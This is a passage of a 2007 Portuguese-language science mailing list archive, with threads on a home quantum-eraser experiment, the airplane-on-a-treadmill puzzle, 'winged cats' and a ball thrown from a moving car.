visível consistindo de uma fileira de franjas (bandas claras e
escuras). O padrão de interferência surge porque a luz passando à
esquerda do arame combina-se, ou "interfere", com a luz passando à
direita. Se um pedaço de papel é colocado logo após o arame, será
visível um lóbulo de luz a cada lado da sombra do arame. Os lóbulos se
expandem e se sobrepõem quase que completamente quando atingem a tela.
Para cada fóton individual que atinge a tela na região de
sobreposição, é impossível se dizer se ele veio da esquerda ou da
direita do arama e a combinação dos dois caminhos produz as franjas.
Embora esteja se vendo trilhões de fótons, cada um está interferindo
apenas consigo mesmo.

Figura:
Laser
Papel alumínio
Arame
Padrão de interferência
Detalhe:
A INTERFERÊNCIA observada é captada nesta fotografia. O tamanho e
outras características dos padrões ilustrados neste diagrama estão
exagerados.

3 de 6
2 - IDENTIFICANDO O CAMINHO
- Pegue dois polarizadores e rotacione um em relação ao outro de modo
que seus eixos fiquem perpendiculares entre si; se isso for feito
corretamente, ao se sobrepor os filmes temporariamente, nenhum luz
deve atravessar a região de sobreposição;
- Junte os dois filmes lado a lado com fita adesiva, sem nenhum espaço
ou sobreposição entre eles. Passe a fita na parte de cima e de baixo
de modo que ela não bloqueie a luz. Isso será chamado de identificador
de caminho.
- Posicione o etiquetador no feixe de modo que sua função fique
exatamente atrás do arame. Grudar o arame no identificador será muito
fácil. O arame e o identificador não serão mais movidos pelo resto do
experimento. Considera-se que o polarizador do lado esquerdo produz
luz polarizada verticalmente [V], e o do lado direito, luz polarizada
horizontalmente [H]. Não importa se essa atribuição for feita de modo
invertido.
O QUE OCORRE: Mesmo que a luz esteja também passando pelos dois lados
do arame, a franja deverá desaparecer. Se um fóton atinge a tela
passando pelo lado esquerdo do arame, ele o faz com polarização V; se
for pela direita do arame, com polarização H. Assim, o identificador
torna disponível a informação a respeito de qual caminho cada fóton
percorreu, o que previne a interferência.

Figura:
Arame
Identificador de caminho


4 de 6
3 - SELECIONANDO OS FÓTONS DA ESQUERDA
- posicione um terceiro polarizador (o "analisador") entre o
identificador e a tela na orientação V.
O QUE OCORRE: O analisador irá bloquear todos os fótons que passam
pela direita (que se tornam H polarizados pelo identificador) e
permitirá que todos os fótons da esquerda passem. O padrão será
praticamente idêntico à situação anterior - apenas mais fraco e não se
estendendo tanto à direita, porque há somente o lóbulo esquerdo da
luz. Com o analisador, está se acessando a informação que o
identificador tornou disponível: é possível saber que todos os fótons
atingindo a tela são os que passam pela esquerda do arame.

Figura:
Analisador [polarizador V]

4 - SELECIONANDO OS FÓTONS DA DIREITA
- coloque o analisador na orientação H.
O QUE OCORRE: O analisador H bloqueia o lóbulo esquerdo da luz e deixa
passar apenas o lóbulo direito. Se se medir a intendidade da luz (ou o
número de fótons) na tela, será constatado que a luz na etapa 2 é
simplesmente a soma da luz nas etapas 3 e 4. Observe que as franjas
estão ausentes na etapa 2, ainda que não se esteja medindo a
polarização dos fótons; basta que isso seja possível, como mostram as
etapas 3 e 4.

Figura:
Analisador [polarizador H]


5 de 6
5 - APAGANDO A INFORMAÇÃO SOBRE O CAMINHO
- Rotacione o polarizador no sentido do horário a 45o de V, em uma
orientação que pode ser chamada de diagonal [D].
O QUE OCORRE: As franjas reaparecem! Por quê? O polarizador está
apagando a informação sobre de que lado cada fóton veio. Agora, cada
fóton V da esquerda tem uma chance de 50 porcento de passar rumo à
tela, como também cada fóton H da direita. Nos dois casos, os fótons
que seguem tornam-se D polarizados, assim não há nenhum modo de se
dizer que caminho cada fóton tomou. Novamente, cada fóton
aparentemente passa pelos dois caminhos ao mesmo tempo e interfere
consigo mesmo.

Figura:
Apagador [polarizador D]

6 - O ANTI-APAGADOR
- Gire o polarizador no sentido anti-horário 45o a partir de V
["antidiagonal" ou "A"].
O QUE OCORRE: De nodo não há franjas - tudo o que foi dito na etapa 5
se aplica para um polarizador A apagador. Mas se se olhar mais de
perto, poderá se observar que as franjas estão deslocadas levemente
nos dois casos. As franjas A são claras onde as D são escuras e
vice-versa. Se se somar as intensidades, ou o número de fótons, dos
apagadores A e D, a soma deve dar, de novo, a forma da etapa 2, sem
nenhuma interferência visível.

Figura:
Apagador [polarizador A]

6 de 6
7 - AMBOS OS APAGADORES AO MESMO TEMPO
- Corte no meio um polarizador D e um polarizador A.
- Junte a metade de cima de D com a metade de baixo de A.
- Coloque no lugar o analisador híbrido.
O QUE OCORRE: As franjas D aparecem na metade de cima da luz e as
franjas A na metade de baixo. O padrão se parece um pouco com dentes
desalinhados e tornam patentes como as franjas claras e escuras de
cada apagador correspondem.

Figura:
Apagador híbrido [polarizadores A e D]

Conclusão
Pense sobre o que os fótons estão fazem em cada etapa.
- Em algumas etapas [3 e 4], cada fóton passa por um lado ou pelo
outro do arame [sem interferência], mas em outras [1, 5, 6 e 7], eles
aparentemente passam pelos dois lados ao mesmo tempo [produzindo
interferência].
- Nossa interpretação a respeito do que os fótons fizeram ao passar
pelo arame depende do que eles encontram *depois* no arranjo - seja um
analisador ou um apagador ou nada além da tela.
- As etapas 6 e 7 mostram que a informação "por qual caminho?"pode ser
apagada em mais de um modo, produzindo tanto o padrão original de
interferência como o seu inverso.

http://www.sciam.com/slideshow.cfm?articleid=DD39218F-E7F2-99DF-39D45DA3DD2602A1
----------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 22:11

Ricardo, parece que vc está "travado"! Só consegue medir a velocidade do
avião se for com GPS ou fluxo de ar... Experimente, medir através de
odômetro adaptado nas rodas do avião - a cada perímetro da roda
desenvolvido, a esteira se movimenta a mesma distância em sentido
contrário - ou um aparelho ótico semelhante ao usado pelas revistas
especializadas em testes de veículos.

Podemos tentar contornar essa fixação pelo uso do GPS/chão invertendo o
início do movimento do conjunto avião-esteira. Em vez de ser o avião que
provoca o movimento inicial que vai refletir na esteira, que seja a esteira
que inicia o movimento que vai atuar no avião, em igual velocidade mas em
sentido contrário. Com isso passamos a utilizar o chão que tanto vc quer,
como referencial para a velocidade da esteira.

Vejamos como fica o enunciado:

[(...) A esteira se move em uma direção, e o avião na direção oposta. O
avião
tem um sistema de controle que acompanha a velocidade da esteira e faz
com que o avião tenha exatamente a mesma velocidade dela, na direção
oposta. A pergunta é: o avião vai conseguir decolar? ]

Quando o sistema de controle está desligado a esteira carrega *para trás* o
avião que está estacionado sobre ela, na mesma velocidade dela. Quando o
sistema de controle de velocidade *está ligado e atuando* a esteira acelera
para trás em relação ao chão e o avião acelera para frente *na mesma
velocidade da esteira*, em relação ao piso da esteira. Isso significa que o
avião fica praticamente parado em relação ao chão e ao ar que o rodeia... e
não voa.

Colo a seguir o enunciado do problema, para vc ver que não há nada que
conflite com a solução que apresentei:

"(...) O avião se move em uma direção, e a esteira na direção oposta. A
esteira tem um sistema de controle que acompanha a velocidade do avião e faz
com que a esteira tenha exatamente a mesma velocidade dele, na direção
oposta. A pergunta é: o avião vai conseguir decolar?"

Vc pode até não querer aceitar a solução que apresentei mas que ela ocorre,
ocorre. E melhor, ocorre com as *mesmas velocidades*, diferentemente da
solução que vc e os demais consideraram, onde a velocidade do avião é *o
dobro* da velocidade da esteira!

Abraços

José Renato
...........................................


----- Original Message -----
From: "Ricardo" <ricardos@infolink.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 16, 2007 3:21 PM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião


José, continuo após o seu JR2:

> JR2 - A dificuldade parece que está no entendimento ou na visualização
> do "sistema de controle" que mantém a velocidade da esteira igual a
> do avião ou a velocidade do avião igual a da esteira.
>
> (...)
>
> JR2 - Espero que vc entenda que o *chão* não é o único referencial a ser
> considerado nesse arranjo.

Acredite, não há qualquer dificuldade por minha parte (e de outros da lista,
tenho certeza) na compreensão do mecanismo que vc visualizou para o
problema.

A questão não é a compreensão da sua idéia, mas sim que eu não concordo com
o pressuposto utilizado na sua abordagem, da utilização de dois referenciais
diferentes para a avaliação das velocidades citadas. Para mim, além de o
enunciado em questão não dar margem para este artifício (como apresentei,
citações, no e-mail anterior), não há nenhuma lógica na sua utilização em
problemas do gênero, a não ser que o problema explicite esta situação como
parte do enunciado.


> JR2 - Não me parece que a abordagem seja tão complexa...

Nunca achei que fosse. Não considero complexa, apenas incorreta.


Um abraço,
Ricardo



SUBJECT: Re: [ciencialist] Gatos com asas: a (nada) terrível verdade
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 22:21

Pode ser mais um rumo da evolu��o, ou n�o?

sds


Em 18/06/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> Gatos com asas: a (nada) terr�vel verdade <http://100nexos.com/arquivo/175
> >
>
> <http://minhanoticia.ig.com.br/materias/433501-434000/433722/433722_1.html
> >
>
> "Um gatinho, pertencente ao chin�s Granny Feng, criou longas asas. No
> come�o
> o dono achou que fossem apenas caro�os, mas depois de um m�s os ossos
> cresceram e os membros ficaram parecendo duas asas. Feng contou que as
> asas
> come�aram a se desenvolver depois que o gato foi assediado sexualmente por
> algumas gatas h� alguns meses".
>
> Gatos com asas s�o uma realidade, mas a nada terr�vel verdade � que os
> ap�ndices n�o s�o asas de verdade. Como muitos podem imaginar, algumas
> "asas" s�o apenas bolos de p�lo, ou malforma��es cong�nitas � isto �, os
> felinos nascem com membros a mais. Nada disso seria muito interessante, o
> que � interessante � que a terceira explica��o para gatos
> alados<http://en.wikipedia.org/wiki/Winged_cat>� uma condi��o chamada
> *astenia cut�nea felina
> *(FCA<http://www.everything2.com/index.pl?node_id=1480052>),
> ligada inicialmente ao fen�meno dos gatos com asas pelo ingl�s Karl
> Shuker.
> A condi��o, que tem uma contraparte em
> humanos<http://www.metacafe.com/watch/103009/the_rubber_man/>,
> faz com que a pele se torne extremamente el�stica, como borracha. Ela pode
> acabar se esticando em longos ap�ndices, e em gatos, os ap�ndices de pele
> �
> sempre surgindo ao redor das costas � podem manter alguma liga��o com
> m�sculos. Quando os gatos correm, podem gerar a cena inusitada de felinos
> batendo suas "asas".
> Se estendidas demais, as "asas" dos gatos podem se desprender, sem
> sangramento ou dor ao bichano, e seu aspecto � como de uma fibra dura de
> cart�o, o que pode ter levado o chin�s Feng a pensar que tinha ossos.
> Abaixo, fotografia de um caso ingl�s dos anos 1970:
>
> Este artigo de Sarah Hartwell em
> Messybeast<http://www.messybeast.com/winged-cats.htm>tem uma grande
> s�rie de informa��es e imagens, j� a fotografia acima �
> original do artigo de Shuker na revista Fortean
> Times<http://www.forteantimes.com/>168. Gatos com "asas", acredite se
> quiser, s�o t�o reais quanto pessoas
> ou coelhos com "chifres" na
> cabe�a<http://marcianitosverdes.haaan.com/2007/02/hombres-cornudos/>
> .
>
> *Veja tamb�m:*
> Gizmo � Imperd�vel <http://100nexos.com/arquivo/139> "Gizmo" � uma
> compila��o fa...
> A verdade sobre o Google Earth <http://100nexos.com/arquivo/65>
> Descobriram
> como funciona o Google Earth! [via Be...
> Comprar �culos on-line: nada ruim, muito
> barato<http://100nexos.com/arquivo/145>H� tempos o BoingBoing indicou
> o blog Glas...
> Hist�ria da religi�o: 5.000 anos em 90
> segundos<http://100nexos.com/arquivo/29>Original
> de Maps of war, � em verdade uma hist�r...
> MIT revive sonho de Nikola Tesla <http://100nexos.com/arquivo/166> Na
> imagem
> acima, a transmiss�o sem fios de...
>
>
> [As partes desta mensagem que n�o continham texto foram removidas]
>
>
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Meu blog:
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"Se vc n�o tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja constru�do um novo c�u, s� no seu pr�prio inferno
encontrou energia para faz�-lo!" Nietszche)

"N�o importa o que fizeram a voc�.
O que importa � o que voc� faz com
aquilo que fizeram para voc�".

Jean-Paul Sartre (1905-1980)
Fil�sofo franc�s


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 22:32

Teoricamente a bola deveria cair em queda livre no piso da pista.
No vídeo ela se desloca um pouco na direção em que o carro está indo...
Acompanha ainda que parcialmente o movimento do carro de onde foi lançada,
provavelmente devido ao "vácuo" provocado pelo deslocamento do carro no ar.
[]s
JR
...........................................

----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
"lista CA" <ceticismoaberto@yahoogrupos.com.br>
Sent: Wednesday, June 13, 2007 9:39 PM
Subject: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados


Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados<http://100nexos.com/arquivo/173>
<http://100nexos.com/arquivo/173#respond> Assista
ao vídeo

<http://100nexos.com/arquivo/173>O que acontece se você estver dentro de um
carro a 100Km/h e lançar uma bola no sentido contrário ao movimento do carro
a exatos 100Km/h? Este Grande Mistério da Humanidade foi solucionado, como
sempre, pela televisão japonesa (é um programa especializado em
trivialidades<http://www.youtube.com/results?search_query=%E3%83%88%E3%83%AA%E3%83%93%E3%82%A2%E3%81%AE%E6%B3%89&search=Search>).
Primeiro, mostram como farão a minivan percorrer o circuito e alcançar a
velocidade exata no ponto de início depois de uma volta. Depois, regulam o
lançador de bolas de tênis para a velocidade exata. E o resultado. Assista
ao vídeo, e se estiver impaciente, pule para os segundos finais.

[via Digg, Bernebauer
<http://www.bernabauer.com/experiencia-de-fisica/>, Sérgio
Lima<http://sergioflima.pro.br/blog/blogs/index.php/blogefisica/2007/06/13/velocidade_relativa_em_japones>
]

*Veja também:*
Jogo: administre o McDonald's <http://100nexos.com/arquivo/62> E não só uma
franquia. Das vacas &a...
Fonte permite a ilusão de controlar e reverter o
tempo<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre
quando voc&eci...
Dez coisas que você nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money dá as dicas...
O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> Há
pouco um novo filme do dia fatíd...
Células-tronco + gordura = admiráveis seios
novos?<http://100nexos.com/arquivo/87>O cirurgião plástico japonês ...


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 22:45

Bem recomendado, JC!

Que tal vc deixar de se esconder atrás de sua "esperteza" e também dar sua
explicação para o movimento da bola após lançada?

[]s

JR

ET. Vale esclarecer que não fui eu quem construiu o avião... Mas o "meu"
avião voará sempre que tiver sustentação aerodinâmica. No caso do problema
aventado, em que sua velocidade é igual à da esteira em sentido contrário,
não ocorre sustentação nas condição de tempo atmosférico normal.
...........................................

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 14, 2007 2:15 AM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:
osresultados


Recomendo ao José Renato, construtor de aviões que não voam. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> Jogar uma bola a 100Km/h de um carro a 100Km/h: os
> resultados<http://100nexos.com/arquivo/173>
> <http://100nexos.com/arquivo/173#respond> Assista
> ao vídeo
>
> <http://100nexos.com/arquivo/173>O que acontece se você estver
dentro de um
> carro a 100Km/h e lançar uma bola no sentido contrário ao movimento
do carro
> a exatos 100Km/h? Este Grande Mistério da Humanidade foi
solucionado, como
> sempre, pela televisão japonesa (é um programa especializado em
>
trivialidades<http://www.youtube.com/results?search_query=%E3%83%88%E3%83%AA%E3%83%93%E3%82%A2%E3%81%AE%E6%B3%89&search=Search>).
> Primeiro, mostram como farão a minivan percorrer o circuito e alcançar a
> velocidade exata no ponto de início depois de uma volta. Depois,
regulam o
> lançador de bolas de tênis para a velocidade exata. E o resultado.
Assista
> ao vídeo, e se estiver impaciente, pule para os segundos finais.
>
> [via Digg, Bernebauer
> <http://www.bernabauer.com/experiencia-de-fisica/>, Sérgio
>
Lima<http://sergioflima.pro.br/blog/blogs/index.php/blogefisica/2007/06/13/velocidade_relativa_em_japones>
> ]
>
> *Veja também:*
> Jogo: administre o McDonald's <http://100nexos.com/arquivo/62> E não
só uma
> franquia. Das vacas &a...
> Fonte permite a ilusão de controlar e reverter o
> tempo<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre
> quando voc&eci...
> Dez coisas que você nunca deve comprar usadas (e dez que
> deve)<http://100nexos.com/arquivo/88>Liz
> Pulliam Weston do MSN Money dá as dicas...
> O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> Há
> pouco um novo filme do dia fatíd...
> Células-tronco + gordura = admiráveis seios
> novos?<http://100nexos.com/arquivo/87>O cirurgião plástico japonês ...
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




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SUBJECT: P/ Renato - Re: Balanço do avião
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 23:26

Olá Jose Renato

Putz, eu prometo a mim mesmo que não vou entrar de novo nessa
maluquice obsessiva sua, mas a cada vez você se supera..:-)

Renato: "Experimente, medir através de
> odômetro adaptado nas rodas do avião - a cada perímetro da roda
> desenvolvido, a esteira se movimenta a mesma distância em sentido
> contrário"

Não dá, Renato. Sua confusão quanto ao problema acaba provocando essas
afirmações e sugestões estapafurdias. Um diâmetros mede a quantidade
de giros da roda, só isso. É o calculo dos giros vezes a
circunferência da roda que indica a velocidade, o que, é evidente,
significa que o referencial ainda é o chão, no caso do avião estar
sobre ele, ou que vai haver um erro, com o odômetro marcando a
velocidade do avião MAIS o giro extra das rodas!

Nós já explicamos isso centenas de vezes, com a esteira a rolar em
direção contrária, as rodas girarão mais rápido, mas a velocidade do
avião NÃO SE ALTERA por isso.

Pense, Renato, se o avião está preso a uma bancada, e uma esteira gira
abaixo dele, o que faz as rodas girarem, o que acontece? Acha que,
quando as rodas atingirem a "velocidade" de decolagem (medido pelo
odômetro), o avião decola?

Não, claro. Ele, o avião NÃO decola, pois a velocidade DAS RODAS NÃO
INDICA a velocidade do avião.

Isso está ridículo, com você teimando como todos da lista, defendendo
um erro no lugar de tentar entender o que estão explicando para você.

A chance do mundo todo estar errado, e você certo, é bem pequena, Renato.

Homero




--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo, parece que vc está "travado"! Só consegue medir a
velocidade do
> avião se for com GPS ou fluxo de ar... Experimente, medir através de
> odômetro adaptado nas rodas do avião - a cada perímetro da roda
> desenvolvido, a esteira se movimenta a mesma distância em sentido
> contrário - ou um aparelho ótico semelhante ao usado pelas revistas
> especializadas em testes de veículos.
>
> Podemos tentar contornar essa fixação pelo uso do GPS/chão invertendo o
> início do movimento do conjunto avião-esteira. Em vez de ser o avião
que
> provoca o movimento inicial que vai refletir na esteira, que seja a
esteira
> que inicia o movimento que vai atuar no avião, em igual velocidade
mas em
> sentido contrário. Com isso passamos a utilizar o chão que tanto vc
quer,
> como referencial para a velocidade da esteira.
>
> Vejamos como fica o enunciado:
>
> [(...) A esteira se move em uma direção, e o avião na direção oposta. O
> avião
> tem um sistema de controle que acompanha a velocidade da esteira e faz
> com que o avião tenha exatamente a mesma velocidade dela, na direção
> oposta. A pergunta é: o avião vai conseguir decolar? ]
>
> Quando o sistema de controle está desligado a esteira carrega *para
trás* o
> avião que está estacionado sobre ela, na mesma velocidade dela.
Quando o
> sistema de controle de velocidade *está ligado e atuando* a esteira
acelera
> para trás em relação ao chão e o avião acelera para frente *na mesma
> velocidade da esteira*, em relação ao piso da esteira. Isso
significa que o
> avião fica praticamente parado em relação ao chão e ao ar que o
rodeia... e
> não voa.
>
> Colo a seguir o enunciado do problema, para vc ver que não há nada que
> conflite com a solução que apresentei:
>
> "(...) O avião se move em uma direção, e a esteira na direção oposta. A
> esteira tem um sistema de controle que acompanha a velocidade do
avião e faz
> com que a esteira tenha exatamente a mesma velocidade dele, na direção
> oposta. A pergunta é: o avião vai conseguir decolar?"
>
> Vc pode até não querer aceitar a solução que apresentei mas que ela
ocorre,
> ocorre. E melhor, ocorre com as *mesmas velocidades*, diferentemente da
> solução que vc e os demais consideraram, onde a velocidade do avião é *o
> dobro* da velocidade da esteira!
>
> Abraços
>
> José Renato
> ...........................................
>
>
> ----- Original Message -----
> From: "Ricardo" <ricardos@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, June 16, 2007 3:21 PM
> Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião
>
>
> José, continuo após o seu JR2:
>
> > JR2 - A dificuldade parece que está no entendimento ou na visualização
> > do "sistema de controle" que mantém a velocidade da esteira igual a
> > do avião ou a velocidade do avião igual a da esteira.
> >
> > (...)
> >
> > JR2 - Espero que vc entenda que o *chão* não é o único referencial
a ser
> > considerado nesse arranjo.
>
> Acredite, não há qualquer dificuldade por minha parte (e de outros
da lista,
> tenho certeza) na compreensão do mecanismo que vc visualizou para o
> problema.
>
> A questão não é a compreensão da sua idéia, mas sim que eu não
concordo com
> o pressuposto utilizado na sua abordagem, da utilização de dois
referenciais
> diferentes para a avaliação das velocidades citadas. Para mim, além de o
> enunciado em questão não dar margem para este artifício (como
apresentei,
> citações, no e-mail anterior), não há nenhuma lógica na sua
utilização em
> problemas do gênero, a não ser que o problema explicite esta
situação como
> parte do enunciado.
>
>
> > JR2 - Não me parece que a abordagem seja tão complexa...
>
> Nunca achei que fosse. Não considero complexa, apenas incorreta.
>
>
> Um abraço,
> Ricardo
>




SUBJECT: RES: [ciencialist] P/ Renato - Re: Balanço do avião
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 23:31

José, vou focar apenas no que considero pontos importantes, ok?


> Colo a seguir o enunciado do problema, para vc ver que não há nada que
> conflite com a solução que apresentei:
>
> "(...) O avião se move em uma direção, e a esteira na direção oposta. A
> esteira tem um sistema de controle que acompanha a velocidade do avião
e > faz
> com que a esteira tenha exatamente a mesma velocidade dele, na direção
> oposta. A pergunta é: o avião vai conseguir decolar?"

Mais uma vez, os diferentes referenciais que vc utilizou (o chão e a
esteira), na minha humilde opinião, conflitam sim com o enunciado do
problema, e exatamente no trecho citado por vc, que aponta para um
referencial único (não necessariamente o chão).

> Vc pode até não querer aceitar a solução que apresentei mas que
> ela ocorre, ocorre.

Não concordo. Pelas razões já exaustivamente repetidas (mais uma vez: o uso
de 2 referenciais para a solução do problema).

> E melhor, ocorre com as *mesmas velocidades*, diferentemente da
> solução que vc e os demais consideraram, onde a velocidade do avião é *o
> dobro* da velocidade da esteira!

Se o referencial estiver no chão, ou mesmo no copo que se encontra parado em
cima da minha mesa, à minha frente agora, o avião do problema terá A MESMA
VELOCIDADE QUE A ESTEIRA (e não o dobro, como vc diz), na direção oposta, e
o avião decolará normalmente.

Repito, o problema aqui é a escolha do referencial. Tentar partir para outra
abordagem, como vc tentou fazer agora, sem resolver este problema primeiro,
não vai adiantar de nada.


Abs,

Ricardo




SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Cacildo Krebs" <cacildokrebs@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 23:51

Anotado. Já ouvi muitas críticas sobre este filme e sei que há tendências que fogem o campo da ciência para entrar no da religião.

Abs

Cacildo





----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Monday, June 18, 2007 2:34 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla


Olá Cacildo

Cacildo: "Vou procurar me inteirar mais nesse assunto, onde, a partir do momento em que assiti o filme/documentário "Quem somos nós" fiquei muito curioso sobre o tema."

Por favor, por favor!..:-) Esse filme é péssimo, um desserviço a ciência e a física.:-) Para entender porque, de uma lida neste "Guia Cético para Assistir...":

http://dragaodagaragem.blogspot.com/2006/11/o-guia-ctico-para-assistir-what-bleep.html
http://dragaodagaragem.blogspot.com/2006/12/o-guia-ctico-para-assistir-what-bleep.html
http://dragaodagaragem.blogspot.com/2007/05/o-guia-ctico-para-assistir-what-bleep.html

Leia o livro de Hawking também, e vai entender bem o quanto o filme distorce os dados para se encaixar em suas crenças.

Um abraço.

Homero

----- Original Message -----
From: Cacildo Krebs
To: ciencialist@yahoogrupos.com.br
Sent: Monday, June 18, 2007 12:56 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla

Agradeço as sugestões. Vou procurar me inteirar mais nesse assunto, onde, a partir do momento em que assiti o filme/documentário "Quem somos nós" fiquei muito curioso sobre o tema.

Abraços

Cacildo

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 15, 2007 3:36 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla

Uma introdução em nível de divulgação vc encontra em "O Universo
Elegante" - q vai além e chega às supercordas (a idéia das branas é
desenvolvida em "O Tecido do Cosmos" - ambos de Brian Greene).

Uma idéia ilustrada, mas nem sempre fácil é apresentada em "Universo
em uma Casca de Noz" - de Stephen Hawking.

Nos três tb são apresentadas noções da mecânica relativística.

O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

A Do-It-Yourself Quantum Eraser
http://www.sciam.com/article.cfm?chanID=sa006&colID=1&articleID=DD39218F-E7F2-99\
DF-39D45DA3DD2602A1

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Cacildo Krebs"
> Interessantíssimo este experimento. O Mundo Quântico está nos
> revelando grandes surpresas, muitas sem respostas ainda. Gostaria de
> saber mais a respeito deste assunto.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresultados
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 07:26

Pode ser o giro da bola?

O movimento de ar causado pelo carro tbem pode ser o motivo. Achei boa
a explicacao; :-)

Ateh
Luis Brudna


On 6/19/07, José Renato <jrma@terra.com.br> wrote:
>
>
>
>
>
>
> Bem recomendado, JC!
>
> Que tal vc deixar de se esconder atrás de sua "esperteza" e também dar sua
> explicação para o movimento da bola após lançada?
>
> []s
>
> JR
>
> ET. Vale esclarecer que não fui eu quem construiu o avião... Mas o "meu"
> avião voará sempre que tiver sustentação aerodinâmica. No caso do problema
> aventado, em que sua velocidade é igual à da esteira em sentido contrário,
> não ocorre sustentação nas condição de tempo atmosférico normal.
> ...........................................
>


SUBJECT: Re: [ciencialist] O FIM DO MUNDO - DE NOVO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 07:47

Lembro de um bom documentario sobre essa parte mais 'obscura' do Newton.

Newton's Dark Secrets
http://www.pbs.org/wgbh/nova/newton/

Ateh
Luis Brudna



On 6/19/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
>
> Fico com a parte científica de Newton, matemática e física. O resto, que
> escreveu e disse, movido por suas crenças, não passou de bobagens e nada
> tem a ver com ciência. Não culpo só a época, seus costumes e imposições.
> Não fossem suas tradições e suas limitações, das quais também não escapou,
> coisas ridículas do tipo não estariam hoje sendo veiculadas, espantando os
> bestas. Se bem que espero, ainda, que o texto a que se referem as bobagens
> em questão não tenham sido escritas por ele. De qualquer maneira, em 2060,
> muitos de nós já teremos entrado pela perna do pinto e saído pela do pato.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de rmtakata
> Enviada em: segunda-feira, 18 de junho de 2007 17:44
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] O FIM DO MUNDO - DE NOVO
>
> Isaac Newton previu o fim do mundo para 2060, aponta manuscrito
> http://www1.folha.uol.com.br/folha/ciencia/ult306u305205.shtml
> -----------------
> []s,
>
> Roberto Takata
>


SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 08:41

Beleza!!!

Grato!

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 18 de junho de 2007 21:19
Assunto: Re: Res: [ciencialist] Animação da experiência da fenda dupla


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Traduza a coisa prá nóis.

ScientificAmerican.com
Apagador Quântico Caseiro

1 de 6
Os passos apresentados aqui esboçam o modo de se ver o apagador
quântico em ação. Veja www.sciam.com/ontheweb para a lista de
materiais necessários, dicas de solução de problemas e discussões
adicionais.

Figura:
Grampo endireitado
Filme polarizador

2 de 6
1 - VISUALIZANDO A INTERFERÊNCIA
- Embrulhe a extremidade funcional do apontador laser com papel
alumínio e faça um furo com um alfinete para deixar passar um pouco do
feixe de luz.
- Ajuste o laser de modo que ele ilumine uma tela a pelo menos 6 pés
(~2 metros) de distância. Ele deve produzir uma mancha circular de luz
na tela.
- Posicione o arame verticalmente e centralizado em relação à luz.
O QUE OCORRE: Como mostrado, um padrão de interferência deve ser
visível consistindo de uma fileira de franjas (bandas claras e
